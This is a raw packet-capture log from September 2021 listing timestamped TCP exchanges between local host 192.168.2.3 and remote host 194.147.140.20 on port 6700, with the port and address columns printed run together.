                          Sep 14, 2021 21:26:22.361249924 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.409360886 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.492070913 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492103100 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492125034 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492305040 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.492424011 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492456913 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492477894 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492556095 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492677927 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492712975 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492779016 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492851973 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492918015 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.492927074 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.492960930 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.493005991 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.493073940 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.493113995 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.493196964 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.493304968 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.493501902 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.497862101 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.497958899 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.497981071 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.498003006 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.498092890 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.499063015 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.499159098 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.499272108 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.499625921 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.499727011 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.499771118 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.500579119 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.500605106 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.500627995 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.500649929 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.500673056 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.500694990 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.500716925 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.500739098 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.500813007 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.502408028 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.502454042 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.502511978 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.505420923 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.505443096 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.505465031 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.505486965 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.505832911 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.505853891 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.505876064 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.505897045 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.505920887 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.505942106 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.505963087 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.505985022 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.506006002 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.506026983 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.506047964 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.506357908 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.506380081 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.506382942 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.506386042 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.506388903 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.598464966 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.656655073 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.661391973 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.681216002 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.681327105 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.681408882 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.681489944 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.681557894 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.681624889 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.681708097 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.681802988 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.681868076 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.681952000 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.682003021 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.682040930 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.682095051 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.682151079 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.682265997 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.682322979 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.685117006 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.685312033 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.685383081 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.685435057 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.686328888 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.686388969 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.687434912 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.687468052 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.689085007 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.689116001 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.689229965 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.689686060 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.689758062 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.689800978 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.689856052 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.689932108 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.691870928 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.691901922 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.694704056 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.694735050 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.694818020 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.694819927 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.694906950 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.694922924 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.694952011 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.694998980 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.695055962 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.695077896 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.695202112 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.695297956 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.695475101 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.695480108 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.695497036 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.695512056 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.695553064 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.695607901 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.695631981 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.695668936 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.698288918 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.845602036 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.845634937 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.845716953 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.881544113 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.882249117 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.882322073 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.882371902 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.882402897 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.882432938 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.882448912 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.882739067 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.882795095 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.882920027 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883038998 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883074999 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883086920 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.883131981 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883167982 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883181095 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.883218050 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883255959 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.883291960 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883435965 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883464098 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883481979 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.883497000 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883533001 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883542061 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.883569956 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883596897 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883608103 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.883759022 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883794069 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883806944 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.883836985 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.883884907 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.884001017 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884030104 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884056091 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884079933 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884089947 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.884118080 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884130001 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.884155035 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884182930 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884196997 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.884459972 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884491920 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884527922 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884533882 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.884562969 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884572983 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.884598017 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884624004 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884637117 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.884661913 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884690046 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884697914 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.884723902 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884752035 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884759903 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.884788990 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884825945 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.884852886 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884919882 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.884968996 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.884999990 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885075092 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885104895 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885123014 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.885164976 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885229111 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885236025 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.885310888 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885354042 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.885385990 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885468960 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885518074 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.885574102 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885601997 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885632992 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885656118 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.885749102 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885778904 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885802984 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.885833025 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885874033 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.885902882 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885970116 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.885999918 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.886018991 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.886096954 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.886147022 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.886161089 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.886195898 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.886233091 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.886307955 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.886380911 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.886415958 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.886428118 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.886455059 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.886492014 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.886512995 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.886549950 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.886583090 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.886599064 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.940627098 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:23.715869904 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:29.027445078 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:29.215101004 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:29.215300083 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:29.215735912 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:29.661881924 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:29.696919918 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:29.883580923 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:29.898838997 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:30.148664951 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:30.148744106 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:30.310015917 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:30.334774017 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:30.334858894 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:30.520842075 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:30.566328049 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:30.697726011 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:30.929955006 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:30.930033922 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:31.118379116 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:31.118571043 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:31.308259010 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:31.308629036 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:31.555042028 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:31.555212975 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:31.806282043 CEST670049798194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:31.965138912 CEST497986700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:36.043736935 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:36.230015993 CEST670049799194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:36.230178118 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:36.230820894 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:36.429008961 CEST670049799194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:36.429460049 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:36.615984917 CEST670049799194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:36.617778063 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:36.860845089 CEST670049799194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:36.976592064 CEST670049799194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:37.019990921 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:37.126667976 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:37.206059933 CEST670049799194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:37.206192970 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:37.360949039 CEST670049799194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:37.361032009 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:37.454526901 CEST670049799194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:37.454660892 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:37.547410965 CEST670049799194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:37.598328114 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:37.643891096 CEST670049799194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:37.691895008 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:38.079176903 CEST497996700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:42.168842077 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:42.358004093 CEST670049800194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:42.358230114 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:42.359397888 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:42.557912111 CEST670049800194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:42.558418036 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:42.744632006 CEST670049800194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:42.746352911 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:43.001565933 CEST670049800194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:43.161782980 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:43.208059072 CEST670049800194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:43.254858971 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:43.348373890 CEST670049800194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:43.350786924 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:43.595144033 CEST670049800194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:43.595637083 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:43.782268047 CEST670049800194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:43.833173037 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:44.020416975 CEST670049800194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:44.067487001 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:44.163000107 CEST498006700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:48.246822119 CEST498016700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:48.433100939 CEST670049801194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:48.433355093 CEST498016700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:48.480922937 CEST498016700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:48.667231083 CEST670049801194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:52.902575970 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:53.088669062 CEST670049802194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:53.088906050 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:53.090032101 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:53.286035061 CEST670049802194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:53.286719084 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:53.473094940 CEST670049802194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:53.483917952 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:53.727854013 CEST670049802194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:53.727946043 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:53.840358973 CEST670049802194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:53.880873919 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:53.914004087 CEST670049802194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:53.914134979 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:54.068527937 CEST670049802194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:54.115170002 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:54.149795055 CEST670049802194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:54.149924040 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:54.336503983 CEST670049802194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:54.340150118 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:54.526395082 CEST670049802194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:54.537806034 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:54.775157928 CEST670049802194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:55.537952900 CEST498026700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:59.714848042 CEST498036700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:59.900693893 CEST670049803194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:59.900799036 CEST498036700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:59.902040958 CEST498036700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:00.090934992 CEST670049803194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:04.289292097 CEST498046700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:04.475855112 CEST670049804194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:04.476120949 CEST498046700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:04.858290911 CEST498046700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:05.045506954 CEST670049804194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:09.696465015 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:09.884244919 CEST670049805194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:09.886493921 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:09.952923059 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:10.151422024 CEST670049805194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:10.201067924 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:10.208003044 CEST498056700192.168.2.3194.147.140.20
